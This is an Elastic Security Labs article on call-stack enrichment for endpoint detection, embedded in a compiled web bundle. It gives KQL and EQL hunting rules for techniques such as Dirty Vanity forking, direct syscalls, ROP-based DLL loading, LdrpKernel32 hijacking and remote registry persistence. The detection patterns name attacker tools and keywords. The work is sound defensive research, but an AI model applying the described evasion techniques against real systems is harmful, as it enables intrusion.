y=(t,e,i)=\u003e(i=t!=null?h(m(t)):{},l(e||!t||!t.__esModule?r(i,\"default\",{value:t,enumerable:!0}):i,t)),k=t=\u003el(r({},\"__esModule\",{value:!0}),t);var c=w((_,o)=\u003e{o.exports=_jsx_runtime});var S={};f(S,{default:()=\u003ex,frontmatter:()=\u003eb});var n=y(c()),b={title:\"Peeling back the curtain with call stacks\",slug:\"peeling-back-the-curtain-with-call-stacks\",date:\"2023-09-13\",description:\"In this article, we'll show you how we contextualize rules and events, and how you can leverage call stacks to better understand any alerts you encounter in your environment.\",author:[{slug:\"samir-bousseaden\"}],image:\"photo-edited-10@2x.jpg\",category:[{slug:\"security-operations\"},{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat hunting\",\"threat detection\"]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",strong:\"strong\",ul:\"ul\",li:\"li\",img:\"img\",pre:\"pre\",code:\"code\",h3:\"h3\",h4:\"h4\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Defend provides over \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/behavior/rules\",rel:\"nofollow\",children:\"550 rules\"}),\" (and counting) to detect and stop malicious behavior in real time on endpoints. We recently \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks\",rel:\"nofollow\",children:\"added kernel call stack enrichments\"}),\" to provide additional context to events and alerts. Call stacks are a win-win-win for behavioral protections, simultaneously improving false positives, false negatives, and alert explainability. In this article, we'll show you how we achieve all three of these, and how you can leverage call stacks to better understand any alerts you encounter in your environment.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"what-is-a-call-stack\",children:\"What is a call stack?\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"When a thread running function A calls function B, the CPU automatically saves the current instruction\\u2019s address (within A) to a thread-specific region of memory called the stack. This saved pointer is known as the return address - it's where execution will resume once the B has finished its job. If B were to call a third function C, then a return address within B will also be saved to the stack. These return addresses can be retrieved through a process known as a \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/debug/capturestackbacktrace\",rel:\"nofollow\",children:\"stack walk\"}),\", which reconstructs the sequence of function calls that led to the current thread state. Stack walks list return addresses in reverse-chronological order, so the most recent function is always at the top.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"In Windows, when we double-click on \",(0,n.jsx)(e.strong,{children:\"notepad.exe\"}),\", for example, the following series of functions are called:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"The green section is related to base thread initialization performed by the operating system and is usually identical across all operations (file, registry, process, library, etc.)\"}),`\n`,(0,n.jsx)(e.li,{children:\"The red section is the user code; it is often composed of multiple modules and provides approximate details of how the process creation operation was reached\"}),`\n`,(0,n.jsx)(e.li,{children:\"The blue section is the Win32 and Native API layer; this is operation-specific, including the last 2 to 3 intermediary Windows modules before forwarding the operation details for effective execution in kernel mode\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The following screenshot depicts the call stack for this execution chain:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image17.png\",alt:\"\",width:\"1370\",height:\"649\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Here is an example of file creation using \",(0,n.jsx)(e.strong,{children:\"notepad.exe\"}),\" where we can see a similar pattern:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"The blue part lists the last user mode intermediary Windows APIs before forwarding the create file operation to kernel mode drivers for effective execution\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"The red section includes functions from \",(0,n.jsx)(e.strong,{children:\"user32.dll\"}),\" and \",(0,n.jsx)(e.strong,{children:\"notepad.exe\"}),\", which indicate that this file operation was likely initiated via GUI\"]}),`\n`,(0,n.jsx)(e.li,{children:\"The green part represents the initial thread initialization\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image19.png\",alt:\"\",width:\"1189\",height:\"440\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"events-explainability\",children:\"Events Explainability\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Apart from using call stacks for finding known bad, like \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/hunting-memory\",rel:\"nofollow\",children:\"unbacked memory regions\"}),\" with RWX permissions that may be the remnants of prior code injection. Call stacks provide very low-level visibility that often reveals greater insights than logs can otherwise provide.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"As an example, while hunting for suspicious process executions started by \",(0,n.jsx)(e.strong,{children:\"WmiPrvSe.exe\"}),\" via WMI, you find this instance of \",(0,n.jsx)(e.strong,{children:\"notepad.exe\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image21.png\",alt:\"\",width:\"1088\",height:\"118\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Reviewing the standard event log fields, you may expect that it was started using the \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process\",rel:\"nofollow\",children:\"Win32_Process\"}),\" class using the \",(0,n.jsx)(e.strong,{children:\"wmic.exe process call create notepad.exe\"}),\" syntax. However, the event details describe a series of modules and functions:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image12.png\",alt:\"\",width:\"1440\",height:\"711\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The blue section depicts the standard intermediary \",(0,n.jsx)(e.strong,{children:\"CreateProcess\"}),\" Windows APIs, while the red section highlights better information in that we can see that the DLL before the first call to \",(0,n.jsx)(e.strong,{children:\"CreateProcessW\"}),\" is \",(0,n.jsx)(e.strong,{children:\"wbemcons.dll\"}),\" and when inspecting its properties we can see that it\\u2019s related to \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer\",rel:\"nofollow\",children:\"WMI Event Consumers\"}),\". We can conclude that this \",(0,n.jsx)(e.strong,{children:\"notepad.exe\"}),\" instance is likely related to a WMI Event Subscription. This will require specific incident response steps to mitigate the WMI persistence mechanism.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image22.png\",alt:\"\",width:\"360\",height:\"508\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Another great example is Windows scheduled tasks. When executed, they are spawned as children of the Schedule service, which runs within a \",(0,n.jsx)(e.strong,{children:\"svchost.exe\"}),\" host process. Modern Windows 11 machines may have 50 or more \",(0,n.jsx)(e.strong,{children:\"svchost.exe\"}),\" processes running. Fortunately, the Schedule service has a specific process argument \",(0,n.jsx)(e.strong,{children:\"-s Schedule\"}),\" which differentiates it:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image8.png\",alt:\"\",width:\"1440\",height:\"446\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In older Windows versions, the Scheduled Tasks service is a member of the Network Service group and executed as a component of the \",(0,n.jsx)(e.strong,{children:\"netsvcs\"}),\" shared \",(0,n.jsx)(e.strong,{children:\"svchost.exe\"}),\" instance. Not all children of this process are necessarily scheduled tasks in these older versions:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image2.png\",alt:\"\",width:\"1168\",height:\"608\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Inspecting the call stack on both versions, we can see the module that is adjacent to the \",(0,n.jsx)(e.strong,{children:\"CreateProcess\"}),\" call is the same \",(0,n.jsx)(e.strong,{children:\"ubpm.dll\"}),\" (Unified Background Process Manager DLL) executing the exported function \",(0,n.jsx)(e.strong,{children:\"ubpm.dll!UbpmOpenTriggerConsumer\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image4.png\",alt:\"\",width:\"1362\",height:\"278\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Using the following KQL query, we can hunt for task executions on both versions:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`event.action :\"start\" and \nprocess.parent.name :\"svchost.exe\" and process.parent.args : netsvcs and \nprocess.parent.thread.Ext.call_stack_summary : *ubpm.dll* \n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image18.png\",alt:\"\",width:\"1440\",height:\"620\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Another interesting example occurs when a user double-clicks a script file from a ZIP archive that was opened using Windows Explorer. Looking at the process tree, you will see that \",(0,n.jsx)(e.strong,{children:\"explorer.exe\"}),\" is the parent and the child is a script interpreter process like \",(0,n.jsx)(e.strong,{children:\"wscript.exe\"}),\" or \",(0,n.jsx)(e.strong,{children:\"cmd.exe\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"This process tree can be confused with a user double-clicking a script file from any location on the file system, which is not very suspicious. But if we inspect the call stack we can see that the parent stack is pointing to \",(0,n.jsx)(e.strong,{children:\"zipfld.dll\"}),\" (Zipped Folders Shell Extension):\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image20.png\",alt:\"\",width:\"1440\",height:\"703\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"detection-examples\",children:\"Detection Examples\"}),`\n`,(0,n.jsx)(e.p,{children:\"Now that we have a better idea of how to use the call stack to better interpret events, let\\u2019s explore some advanced detection examples per event type.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"process\",children:\"Process\"}),`\n`,(0,n.jsx)(e.h4,{id:\"suspicious-process-creation-via-reflection\",children:\"Suspicious Process Creation via Reflection\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass\",rel:\"nofollow\",children:\"Dirty Vanity\"}),\" is a recent code-injection technique that abuses process forking to execute shellcode within a copy of an existing process. When a process is forked, the OS makes a copy of an existing process, including its address space and any \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/sysinfo/handle-inheritance\",rel:\"nofollow\",children:\"inheritable\"}),\" handles therein.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"When executed, Dirty Vanity will fork an instance of a targeted process (already running or a sacrificial one) and then inject into it. Using process creation notification \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine_ex\",rel:\"nofollow\",children:\"callbacks\"}),\" won\\u2019t log forked processes because the forked process initial thread isn\\u2019t executed. But in the case of this injection technique, the forked process will be injected and a thread will be started, which triggers the process start event log with the following call stack:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image6.png\",alt:\"\",width:\"1440\",height:\"430\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can see the call to \",(0,n.jsx)(e.strong,{children:\"RtlCreateProcessReflection\"}),\" and \",(0,n.jsx)(e.strong,{children:\"RtlCloneUserProcess\"}),\" to fork the process. Now we know that this is a forked process, and the next question is \\u201CIs this common in normal conditions?\\u201D While diagnostically this behavior appears to be common and alone, it is not a strong signal of something malicious. Checking further to see if the forked processes perform any network connections, loads DLLs, or spawns child processes revealed to be less common and made for good detections:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`// EQL detecting a forked process spawning a child process - very suspicious\n\nprocess where event.action == \"start\" and\n\ndescendant of \n [process where event.action == \"start\" and \n _arraysearch(process.parent.thread.Ext.call_stack, $entry, \n $entry.symbol_info: \n (\"*ntdll.dll!RtlCreateProcessReflection*\", \n \"*ntdll.dll!RtlCloneUserProcess*\"))] and\n\nnot (process.executable : \n (\"?:\\\\\\\\WINDOWS\\\\\\\\SysWOW64\\\\\\\\WerFault.exe\", \n \"?:\\\\\\\\WINDOWS\\\\\\\\system32\\\\\\\\WerFault.exe\") and\n process.parent.thread.Ext.call_stack_summary : \n \"*faultrep.dll|wersvc.dl*\")\n`})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`// EQL detecting a forked process loading a network DLL \n// or performs a network connection - very suspicious\n\nsequence by process.entity_id with maxspan=1m\n [process where event.action == \"start\" and\n _arraysearch(process.parent.thread.Ext.call_stack, \n $entry, $entry.symbol_info: \n (\"*ntdll.dll!RtlCreateProcessReflection*\", \n \"*ntdll.dll!RtlCloneUserProcess*\"))]\n [any where\n (\n event.category : (\"network\", \"dns\") or \n (event.category == \"library\" and \n dll.name : (\"ws2_32.dll\", \"winhttp.dll\", \"wininet.dll\"))\n )]\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Here\\u2019s an example of forking \",(0,n.jsx)(e.strong,{children:\"explore.exe\"}),\" and executing shellcode that spawns \",(0,n.jsx)(e.strong,{children:\"cmd.exe\"}),\" from the forked \",(0,n.jsx)(e.strong,{children:\"explorer.exe\"}),\" instance:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image13.png\",alt:\"\",width:\"996\",height:\"310\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image14.png\",alt:\"\",width:\"1225\",height:\"357\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"direct-syscall-via-assembly-bytes\",children:\"Direct Syscall via Assembly Bytes\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The second and final example for process events is process creation via direct syscall. This directly uses the syscall instruction instead of calling the \",(0,n.jsx)(e.strong,{children:\"NtCreateProcess\"}),\" API. Adversaries may use \",(0,n.jsx)(e.a,{href:\"https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs\",rel:\"nofollow\",children:\"this method\"}),\" to avoid security products that are reliant on usermode API hooking (which Elastic Defend is not):\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.action : \"start\" and \n\n// EQL detecting a call stack not ending with ntdll.dll \nnot process.parent.thread.Ext.call_stack_summary : \"ntdll.dll*\" and \n\n/* last call in the call stack contains bytes that execute a syscall\n manually using assembly \u003cmov r10,rcx, mov eax,ssn, syscall\u003e */\n\n_arraysearch(process.parent.thread.Ext.call_stack, $entry,\n ($entry.callsite_leading_bytes : (\"*4c8bd1b8??????000f05\", \n \"*4989cab8??????000f05\", \"*4c8bd10f05\", \"*4989ca0f05\")))\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This example matches when the final memory region in the call stack is unbacked and contains assembly bytes that end with the syscall instruction (\",(0,n.jsx)(e.strong,{children:\"0F05\"}),\"):\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image16.png\",alt:\"\",width:\"1440\",height:\"688\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"file\",children:\"File\"}),`\n`,(0,n.jsx)(e.h3,{id:\"suspicious-microsoft-office-embedded-object\",children:\"Suspicious Microsoft Office Embedded Object\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following rule logic identifies suspicious file extensions written by a Microsoft Office process from an embedded OLE stream, frequently used by malicious documents to drop payloads for initial access.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image7.png\",alt:\"\",width:\"1154\",height:\"398\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`// EQL detecting file creation event with call stack indicating \n// OleSaveToStream call to save or load the embedded OLE object\n\nfile where event.action != \"deletion\" and \n\nprocess.name : (\"winword.exe\", \"excel.exe\", \"powerpnt.exe\") and\n\n_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info:\n (\"*!OleSaveToStream*\", \"*!OleLoad*\")) and\n(\n file.extension : (\"exe\", \"dll\", \"js\", \"vbs\", \"vbe\", \"jse\", \"url\", \n \"chm\", \"bat\", \"mht\", \"hta\", \"htm\", \"search-ms\") or\n\n /* PE \u0026 HelpFile */\n file.Ext.header_bytes : (\"4d5a*\", \"49545346*\")\n )\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Example of matches :\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image9.png\",alt:\"\",width:\"1440\",height:\"433\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"suspicious-file-rename-from-unbacked-memory\",children:\"Suspicious File Rename from Unbacked Memory\"}),`\n`,(0,n.jsx)(e.p,{children:\"Certain ransomware may inject into signed processes before starting their encryption routine. File rename and modification events will appear to originate from a trusted process, potentially bypassing some heuristics that exclude signed processes as presumed false positives. The following KQL query looks for file rename of documents, from a signed binary and with a suspicious call stack:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`file where event.action : \"rename\" and \n \nprocess.code_signature.status : \"trusted\" and file.extension != null and \n\nfile.Ext.original.name : (\"*.jpg\", \"*.bmp\", \"*.png\", \"*.pdf\", \"*.doc\", \n\"*.docx\", \"*.xls\", \"*.xlsx\", \"*.ppt\", \"*.pptx\") and\n\nnot file.extension : (\"tmp\", \"~tmp\", \"diff\", \"gz\", \"download\", \"bak\", \n\"bck\", \"lnk\", \"part\", \"save\", \"url\", \"jpg\", \"bmp\", \"png\", \"pdf\", \"doc\", \n\"docx\", \"xls\", \"xlsx\", \"ppt\", \"pptx\") and \n\nprocess.thread.Ext.call_stack_summary :\n(\"ntdll.dll|kernelbase.dll|Unbacked\",\n \"ntdll.dll|kernelbase.dll|kernel32.dll|Unbacked\", \n \"ntdll.dll|kernelbase.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|kernel32.dll|Unknown|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|kernelbase.dll|kernel32.dll|mscorlib.ni.dll|Unbacked\", \n \"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|kernelbase.dll|\n Unbacked\", \"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|\n kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll\", \n \"ntdll.dll|Unbacked\", \"Unbacked\", \"Unknown\")\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Here are some examples of matches where \",(0,n.jsx)(e.strong,{children:\"explorer.exe\"}),\" (Windows Explorer) is injected by the \",(0,n.jsx)(e.a,{href:\"https://www.bleepingcomputer.com/news/security/knight-ransomware-distributed-in-fake-tripadvisor-complaint-emails/\",rel:\"nofollow\",children:\"KNIGHT/CYCLOPS\"}),\" ransomware:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image30.png\",alt:\"\",width:\"1440\",height:\"466\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"executable-file-dropped-by-an-unsigned-service-dll\",children:\"Executable File Dropped by an Unsigned Service DLL\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Certain types of malware maintain their presence by disguising themselves as Windows service DLLs. To be recognized and managed by the Service Control Manager, a service DLL must export a function named \",(0,n.jsx)(e.strong,{children:\"ServiceMain\"}),\". The KQL query below helps identify instances where an executable file is created, and the call stack includes the \",(0,n.jsx)(e.strong,{children:\"ServiceMain\"}),\" function.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`event.category : file and \n file.Ext.header_bytes :4d5a* and process.name : svchost.exe and \n process.thread.Ext.call_stack.symbol_info :*!ServiceMain*\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image3.png\",alt:\"\",width:\"1440\",height:\"767\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"library\",children:\"Library\"}),`\n`,(0,n.jsx)(e.h3,{id:\"unsigned-print-monitor-driver-loaded\",children:\"Unsigned Print Monitor Driver Loaded\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following EQL query identifies the loading of an unsigned library by the print spooler service where the call stack indicates the load is coming from \",(0,n.jsx)(e.strong,{children:\"SplAddMonitor\"}),\". Adversaries may use \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/010/\",rel:\"nofollow\",children:\"port monitors\"}),\" to run an adversary-supplied DLL during system boot for persistence or privilege escalation.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`library where\nprocess.executable : (\"?:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\spoolsv.exe\", \n\"?:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\spoolsv.exe\") and not dll.code_signature.status : \n\"trusted\" and _arraysearch(process.thread.Ext.call_stack, $entry, \n$entry.symbol_info: \"*localspl.dll!SplAddMonitor*\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Example of match:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image5.png\",alt:\"\",width:\"1440\",height:\"673\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"potential-library-load-via-rop-gadgets\",children:\"Potential Library Load via ROP Gadgets\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This EQL rule identifies the loading of a library from unusual \",(0,n.jsx)(e.strong,{children:\"win32u\"}),\" or \",(0,n.jsx)(e.strong,{children:\"ntdll\"}),\" offsets. This may indicate an attempt to bypass API monitoring using Return Oriented Programming (ROP) assembly gadgets to execute a syscall instruction from a trusted module.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`library where\n// adversaries try to use ROP gadgets from ntdll.dll or win32u.dll \n// to construct a normal-looking call stack\n\nprocess.thread.Ext.call_stack_summary : (\"ntdll.dll|*\", \"win32u.dll|*\") and \n\n// excluding normal Library Load APIs - LdrLoadDll and NtMapViewOfSection\nnot _arraysearch(process.thread.Ext.call_stack, $entry, \n $entry.symbol_info: (\"*ntdll.dll!Ldr*\", \n \"*KernelBase.dll!LoadLibrary*\", \"*ntdll.dll!*MapViewOfSection*\"))\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This example matches when \",(0,n.jsx)(e.a,{href:\"https://www.kitploit.com/2023/06/atomldr-dll-loader-with-advanced.html\",rel:\"nofollow\",children:\"AtomLdr\"}),\" loads a DLL using ROP gadgets from \",(0,n.jsx)(e.strong,{children:\"win32u.dll\"}),\" instead of using \",(0,n.jsx)(e.strong,{children:\"ntdll\"}),\"\\u2019s load library APIs (\",(0,n.jsx)(e.strong,{children:\"LdrLoadDll\"}),\" and \",(0,n.jsx)(e.strong,{children:\"NtMapViewOfSection\"}),\").\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image1.png\",alt:\"\",width:\"1440\",height:\"618\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"evasion-via-ldrpkernel32-overwrite\",children:\"Evasion via LdrpKernel32 Overwrite\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The [LdrpKernel32(\",(0,n.jsx)(e.a,{href:\"https://github.com/rbmm/LdrpKernel32DllName\",rel:\"nofollow\",children:\"https://github.com/rbmm/LdrpKernel32DllName\"}),\")\",\" evasion is an interesting technique to hijack the early execution of a process during the bootstrap phase by overwriting the bootstrap DLL name referenced in \",(0,n.jsx)(e.strong,{children:\"ntdll.dll\"}),\" memory\\u2013 forcing the process to load a malicious DLL.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`library where \n \n// BaseThreadInitThunk must be exported by the rogue bootstrap DLL\n _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info :\n \"*!BaseThreadInitThunk*\") and\n\n// excluding kernel32 that exports normally exports BasethreadInitThunk\nnot _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info\n (\"?:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\\\\\Windows\\\\\\\\WinSxS\\\\\\\\*\\\\\\\\kernel32.dll!BaseThreadInitThunk*\", \n \"?:\\\\\\\\Windows\\\\\\\\WinSxS\\\\\\\\Temp\\\\\\\\PendingDeletes\\\\\\\\*!BaseThreadInitThunk*\", \n \"\\\\\\\\Device\\\\\\\\*\\\\\\\\Windows\\\\\\\\*\\\\\\\\kernel32.dll!BaseThreadInitThunk*\"))\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[`Example of match:\n`,(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image15.png\",alt:\"\",width:\"1440\",height:\"655\"})]}),`\n`,(0,n.jsx)(e.h2,{id:\"suspicious-remote-registry-modification\",children:\"Suspicious Remote Registry Modification\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Similar to the scheduled task example, the remote registry service is hosted in \",(0,n.jsx)(e.strong,{children:\"svchost.exe\"}),\". We can use the call stack to detect registry modification by monitoring when the Remote Registry service points to an executable or script file. This may indicate an attempt to move laterally via remote configuration changes.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`registry where \n\nevent.action == \"modification\" and \n\nuser.id : (\"S-1-5-21*\", \"S-1-12-*\") and \n\n process.name : \"svchost.exe\" and \n\n// The regsvc.dll in call stack indicate that this is indeed the \n// svchost.exe instance hosting the Remote registry service\n\nprocess.thread.Ext.call_stack_summary : \"*regsvc.dll|rpcrt4.dll*\" and\n\n (\n // suspicious registry values\n registry.data.strings : (\"*:\\\\\\\\*\\\\\\\\*\", \"*.exe*\", \"*.dll*\", \"*rundll32*\", \n \"*powershell*\", \"*http*\", \"* /c *\", \"*COMSPEC*\", \"\\\\\\\\\\\\\\\\*.*\") or\n \n // suspicious keys like Services, Run key and COM\n registry.path :\n (\"HKLM\\\\\\\\SYSTEM\\\\\\\\ControlSet*\\\\\\\\Services\\\\\\\\*\\\\\\\\ServiceDLL\",\n \"HKLM\\\\\\\\SYSTEM\\\\\\\\ControlSet*\\\\\\\\Services\\\\\\\\*\\\\\\\\ImagePath\",\n \"HKEY_USERS\\\\\\\\*Classes\\\\\\\\*\\\\\\\\InprocServer32\\\\\\\\\",\n \"HKEY_USERS\\\\\\\\*Classes\\\\\\\\*\\\\\\\\LocalServer32\\\\\\\\\",\n \"H*\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\*\") or\n \n // potential attempt to remotely disable a service \n (registry.value : \"Start\" and registry.data.strings : \"4\")\n )\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"This example matches when the Run key registry value is modified remotely via the Remote Registry service:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/peeling-back-the-curtain-with-call-stacks/image11.png\",alt:\"\",width:\"1374\",height:\"556\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"As we\\u2019ve demonstrated, call stacks are not only useful for finding known bad patterns, but also for reducing ambiguity in standard EDR events, and easing behavior interpretation. The examples we've provided here represent just a minor portion of the potential detection possibilities achievable by applying enhanced enrichment to the same dataset.\"})]})}function v(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var x=v;return k(S);})();\n;return Component;"},"_id":"articles/peeling-back-the-curtain-with-call-stacks.mdx","_raw":{"sourceFilePath":"articles/peeling-back-the-curtain-with-call-stacks.mdx","sourceFileName":"peeling-back-the-curtain-with-call-stacks.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/peeling-back-the-curtain-with-call-stacks"},"type":"Article","imageUrl":"/assets/images/peeling-back-the-curtain-with-call-stacks/photo-edited-10@2x.jpg","readingTime":"13 min read","series":"","url":"/peeling-back-the-curtain-with-call-stacks","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"What is a call stack?","href":"#what-is-a-call-stack"},{"level":2,"title":"Events Explainability","href":"#events-explainability"},{"level":2,"title":"Detection Examples ","href":"#detection-examples-"},{"level":3,"title":"Process ","href":"#process-"},{"level":4,"title":"Suspicious Process Creation via Reflection","href":"#suspicious-process-creation-via-reflection"},{"level":3,"title":"Direct 